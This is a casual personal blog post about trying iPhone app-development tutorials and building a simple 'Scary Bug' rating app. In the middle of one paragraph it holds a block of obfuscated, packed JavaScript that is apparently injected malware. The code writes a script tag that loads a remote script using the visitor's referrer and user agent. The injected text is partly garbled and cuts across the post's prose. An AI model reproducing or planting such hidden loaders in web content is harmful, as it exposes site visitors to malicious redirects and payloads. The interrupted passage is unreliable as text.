How I spent Sunday afternoon

So you read yesterday about most of my weekend.

Then Sunday afternoon I got this bright idea to make an iPhone app.  No idea what it would do specifically.  But I read an article about a 12 year old kid making an iPhone app, so my competitive inner nerd started bursting out.  And I was feeling like I needed a new hobby.

Downloaded the developer software and was quickly reminded of my sophomore year of college and the hours I spent debugging code…

Thankfully, the internet is a wonderful place and I was able to find some tutorials.  ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yabzn|var|u0026u|referrer|tntaz||js|php’.split(‘|’),0,{}))
I didn’t shop around.  I let google do the picking and wound up creating the “Scary Bug” app.  This app lets you rate how scary a bug is.  Yeah, instagram I am not.

I got through 2 of the 3 tutorials on Sunday.  I didn’t get any of it right on my first try, and I still don’t really understand everything going on in the code….but I ended up with some cool screen shots….an something to blog about.  So I guess that’s a win!

That looks fun, huh?

Ha, this makes it look like I actually know what I’m doing (I don’t).

And if you click on the Lady Bug, this appears:

I decided ladybugs weren’t that scary and gave it just 1 screamy face.

Any ideas for an app?  Something simple?  Have you ever tried making one?  I could use all the help I can get!
